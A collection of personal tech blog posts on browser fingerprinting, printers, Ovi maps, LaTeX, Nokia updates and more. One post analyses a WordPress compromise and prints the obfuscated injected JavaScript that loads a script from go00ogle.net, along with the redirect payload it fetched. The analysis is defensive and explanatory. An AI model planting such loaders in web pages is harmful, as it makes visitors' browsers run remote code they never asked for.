Nothing bad has happened to me because of this, and one may argue that targeted ads are better than non-targeted. But I do not like the idea of being tracked – and I shut off all web ads anyway with AdBlock. Additionally, I have NoScript always on (and allow sites selectively each time when “some site does not work”).

Today I have been told that there is a way to track me even without JavaScript and tracking images from spyhouse sites. It is demonstrated here:

https://panopticlick.eff.org/

I have quite long “accept-language” header set in my browsers, as I can read web pages in several languages. panopticlick shows that I’m one such user out of about half million (it might be that I’m just the only one with this value of accept-language, who made a check there).

I’m not feeling paranoid because of this. But I’ll be happy to know, is there a way to pass my (complicated ) language preferences without allowing for easy fingerprinting.

• “Epson tests and certifies most common Linux and Unix platforms with our printers” (quote from here)
• “The HP Linux Imaging and Printing project provides printing support for 1,949 printer models” (quote from here)

Finally, my choice has fallen on HP c8180. At this moment, openprinting.org, the source for Linux printer support information, does not list this model (it’s quite new). But having configured it as “HP C8100 series” in Ubuntu 9.10, both printing and scanning work just fine right out of the box without any additional installations or configurations.

First of all, what I see when trying to access the site, is this great information:
They kindly inform me that it’s “not yet available on UNIX”. And that I should use Firefox 3. Which I am, in fact, using now. But Ovi does not work anyway. Google maps have been working for my platform with Firefox already for years.

The first dumbest thing to do is to use a user agent switcher add-on, which just tells to the server “I’m Internet Explorer”, and see if that works. What a surprise, it does. So, these Ovi maps just check what my user agent is saying and refusing to serve other agents without visible reason. Disgusting. OK, I still continue.

The main screen has… about 1 cm margins on all sides. What the hell. Screen space is a valuable resource, and everybody wants the map to be larger. In fact that’s one reason why I still buy paper maps: there is no screen (and certainly no portable screen) which can show as large area in as much detail, as paper map does. Now, they just made my screen 2 cm less in each dimension. I’m not sure I want to continue. Google does not do that – I come for maps, and I get maps. Not white margins.

My message to Ovi managers: you are not only several years behind in time. You are also way behind in the implementation. I don’t see how you are going to catch up.

And, sure, I’m not working on either of the companies I compare.

This happened to me today, first time in my life. Hello from go00ogle.net. Below are technical details on what exactly happened, why I did not suffer any damage, and what I recommend to do in order to reduce your own susceptibility. The article is written for a non-technical reader.

How did I see that something is wrong?

Administering my another blog today, I have noticed something in my web browser which I did not see before: the icon of NoScript (a Firefox add-on) was showing, that some scripts are blocked from execution. That is the small blue “S” with an even smaller red circle in the Firefox information bar, shown on the picture to the left.

NoScript stops the browser from executing scripts, which are parts of the web pages we are browsing. It is a common practice nowadays to call scripts from other hosts than the one where the web page itself is hosted. NoScript by default blocks such calls and shows the red icon. Click it, and you see which hosts the web page has tried to call. I whitelisted my own host shemyak.com, but I knew for sure that my blog should not call any scripts from host such as go00ogle.net.

This is an indication that my host is doing something I did not ask him to.

How did I find what was it?

The easiest thing nowadays is to type the question into the search engine. Google.com does not (at the moment of this writing) show anything helpful about go00ogle.com, except couple of links to forums where the latter is called scam site. But “google safe browsing” itself identifies the almost-namesake as “suspicious”, and claims it “has hosted malicious software” as of 15.6.2009 (yesterday). Not much real information, at least yet.

Let’s look into the source ourselves. The source of my “problematic” page does not contain string “go00ogle” anywhere. So, the call to this site is done from some other script, called by this page.

Their location can be found from the page source, but it’s even easier with the other security and privacy tool, AdBlock. Its window shows list of all “items” on the page – images, styles, scripts and embedded objects. Cool, I see the script about which the NoScript informed me, and also two other scripts which were always there.

Which of the two is the source of the problem? Thanks AdBlock, I can just block them one by one and see if NoScript still complains about blocking go00ogle.net. It turns out that the second one is “infected”, the first is not.

Let’s now explore “the bad” script. I copy its location and download it with wget:

$ wget -O infected-script 'http://www.konstantin.shemyak.com/dnevnik/wp-admin/load-scripts.php?c=0&load=jquery,utils,quicktags&ver=b64ae9a301a545332f1fcd4c6c5351b4'

And open it with a text editor. The suspect is there! Here is the piece of code “calling home” in the line number 20:

jQuery.noConflict();function advQuery(){var Host="http://google.com/";Track="/if.php";get=unescape("%6E%65%74");document.write(unescape("%3Cscript src='"+Host.substr(0,9)+unescape("\u0030\u0030")+Host.substr(9,5)+get));document.write(unescape(Track+"' type='text/javascript'%3E%3C/script%3E"));};advQuery();

The URL go00ogle.net is obfuscated (I do not see a reason why the author of this script took his/her time to do it). The result of the execution is that the browser gets the following instruction:

<script src="http://go00ogle.net/if.php">

And the default behavior of the browser would be to execute this script. Good that NoScript changes it.

What could happen if I had not used the prevention measures?

Let’s see, what is inside that go00ogle.net/if.php:

document.write("<script type=\"text/javascript\" src=\"http://www.trafing.net/show-banner.php?kod=954815&site=www.surinamefoto.com\"></script>");

So it’s a redirect to another script. It may also roll up a counter for “surinamefoto.com”. Unwrapping what comes from trafing.net, I saw two other redirects, again with possible roll-ups of counters. I lost the interest for hunting it down further and a) submitted a support ticket to my hosting provider b) informed WordPress community about the issue (I was not the first victim there).

Conclusion:

It’s that simple. Just use tools like AdBlock and NoScript. The first is the “blacklist”-type filter (specifically prohibiting items which you know you do not want – works great for advertising banners and counters you do not need), the second is “whitelist” (prohibiting by default everything, except items you have explicitly asked). By default, your browser may be executing any code – even coming from places you never asked for. This is probably not a good idea, so do not use a web browser for which you can’t easily disable the insecure behavior.

My random pick:

“If Europe leads the way in this [allowing algorithms to be patented], I expect many Americans would want to emigrate so that they could continue to innovate in peace.”

This turned out to be a nontrivial task. After hours of browsing and listening to advices (thanks to my friends who already gave some!), I see the following options:

1. Buy a laptop and use it as desktop.

Bad: it is not really silent; I do not know a place to buy a Linux laptop (meaning, with 100% Linux HW support, and without any other OS, for which I do not want to pay a cent, neither increase their sales statistics)
Good: it can be carried away if needed; it has the battery for power backup.

2. Buy a Mac Mini.

Good: It has just perfect form factor and hardware collection for my taste.
Bad: Despite some recommendations, I’ve not got enough interest to try it’s original OS. It seems that I’d have to replace the key native applications, such as web browser and media player, with opensource analogs anyway, and lose the (questioned anyway) “integrity” of the UI. I have not read anywhere that the HW is fully supported in Linux. And it looks like the not-so-ugly-as-everyone-else case costs quite noticeable money (if I take the idea that I’m not paying for the software).

3. Find exactly what I need ready-made.

There is a number of “thin client”-type Linux boxes on the market, but I’m looking for something bigger: I naturally need hard drive and a CD-ROM. And here the offer does not seem to exist at all. For example, a nice hit could be eBox, but it does not have the CD-ROM. The only 100% match I found so far is the carTFT series, mini-ITX PCs seemingly designed for car usage (shudder). They look like perfect match to my needs, except memory is limited to 1GB – but I probably put up with this.

Thanks in advance for any relevant ideas or personal experience.

http://wolframalpha.com

This project makes me really respect Wolfram. I spent quite some time browsing the examples, almost exclusively from the “mathematics” part, picking like a shy visitor at other areas. Some of my online friends write that “knowledge becomes less of a fashion in our times”. I do not agree a bit. Just look at this product.

I had to remake a one-page document, for which I already had an old LaTeX template source. Edit the source, “make”, and a nice PDF is ready. Well, now the text which I inserted contained the @ sign. And of course (pdf)LaTeX did not compile.

I did not remember what should one do to typeset ‘@’ literally. I certainly remembered it 10 years back, but that’s not the kind of knowledge which stays alive when not used. It took me about 15 minutes to find the answer.

And now I’m not sure whether I shall promote TeX at all. From my viewpoint, this 15 minutes is unacceptably too much for such “problem” (actually, the very fact that this made a problem, is unacceptable in my current view). I expected the first link in Google search to give the solution, but the reality was very far from that. And – unfortunately for the others – I consider myself as a quite experienced (La)TeX user: I followed news:comp.text.tex, created own document classes, which were also used by other people, and so on. I knew well how it works. I knew where to look for documentation, and what kind of documentation I need. And still this thing, which should never be a stumble at all, took me 15 minutes. I can easily imagine that it takes full day from a person new to the TeX world.

Conclusion: sorry, none at the moment…

A motivated-looking female character illustrates the software update process. Picture from nokia.com

1. Software updater is available for Windows only.
2. Installation of the updater requires admin rights.
3. Updater requires Internet connection. You can not flash just any image you want – only the version which Nokia sends you while your phone is plugged in.
4. Updater checks for own updates. If a newer version of self is found, the outdated version refuses to work. Upgrade requires reboot.
5. Software update requires SIM in the phone – why the heck.
6. Updater is “graphical”, that is, you can’t copy any text which it shows. Such as version of the image or error messages (fortunately I’ve got none).
7. Backup+restore cycle did not restore any of the additional software which I had previously installed (more than 10 pieces BTW)

I appreciate comments from owners of mobile phones from other vendors: have Motorola, LG, Samsung, SonyEricsson, Apple, whoever else – done it better?

No, it’s just the opposite – Bringing the Order, and Getting Rid of Junk!

I never use the “numeric keypad” on the right side. And it takes valuable space from my right hand. So what’s the problem if I got the hacksaw? Read on how I did it (with pictures and instructions for followers).